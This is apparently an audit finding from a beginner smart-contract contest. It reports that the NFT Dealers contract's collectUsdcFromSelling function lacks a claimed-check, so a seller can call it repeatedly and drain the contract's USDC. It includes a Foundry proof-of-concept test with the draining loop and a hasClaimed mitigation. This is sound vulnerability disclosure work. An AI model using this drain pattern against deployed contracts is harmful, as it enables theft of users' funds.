NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Missing Access Control

Author Revealed upon completion

Root + Impact

Description

  • The protocol is desing to let sellers collect the money via collectUsdFromSelling function aftrer selling

  • The problem is that, there is no any check wether seller has already claimed or not. So malicious seller can easily drain the contract funds by re-use of collecUsdFromSelling

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
@> // no checks here
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood:

This attack is high likely to occur, because the malicious seller only needs his NFT to be sold and he keep clicking the collectUsdFromSelling function

Impact:

  • Breking the protocol

  • Drains the funds

Proof of Concept

Below is the proof of code where malicious seller sold his NFT and keep clicking the collectUsdFromSelling function and drains the contract funds

function testAttackerDrainTheContractByReuseOfTheCollectUsdcFromSelling() public revealed {
// user 1 mint and list
uint256 userWithCashTokenId = 1;
uint256 userWithCashPrice = 50e6;
mintAndListNFTForTesting(userWithCashTokenId, userWithCashPrice);
// user 2 mint and list
uint256 newUserTokenId = 2;
uint256 newUserPrice = 100e6;
mintAndListNFTForTestingNewUser(newUserTokenId, newUserPrice);
// attacker mint and list
uint256 attackerTokenId = 3;
uint256 attackerPrice = 1e6;
mintAndListNFTForTestingAttacker(attackerTokenId, attackerPrice);
​
// buyer buys all the NFTs
vm.startPrank(buyer);
usdc.approve(address(nftDealers), 160e6);
nftDealers.buy(1);
nftDealers.buy(2);
nftDealers.buy(3);
vm.stopPrank();
// contract balance before
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
// balance of attacker before
uint256 balanceOfAttackerBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
// attacker drains the contracts
while (usdc.balanceOf(address(nftDealers)) > 1e7) {
nftDealers.collectUsdcFromSelling(attackerTokenId);
}
vm.stopPrank();
​
// contarct balance after
uint256 contractBalanceAfter = usdc.balanceOf(address(nftDealers));
// balance of attacker after
uint256 balanceOfAttackerAfter = usdc.balanceOf(attacker);
​
assertLt(contractBalanceAfter, 1e7);
assertGt(balanceOfAttackerAfter, balanceOfAttackerBefore);
}

Recommended Mitigation

Add the boolean hasClaimed in the Listing struct

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
bool hasClaimed;
}
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!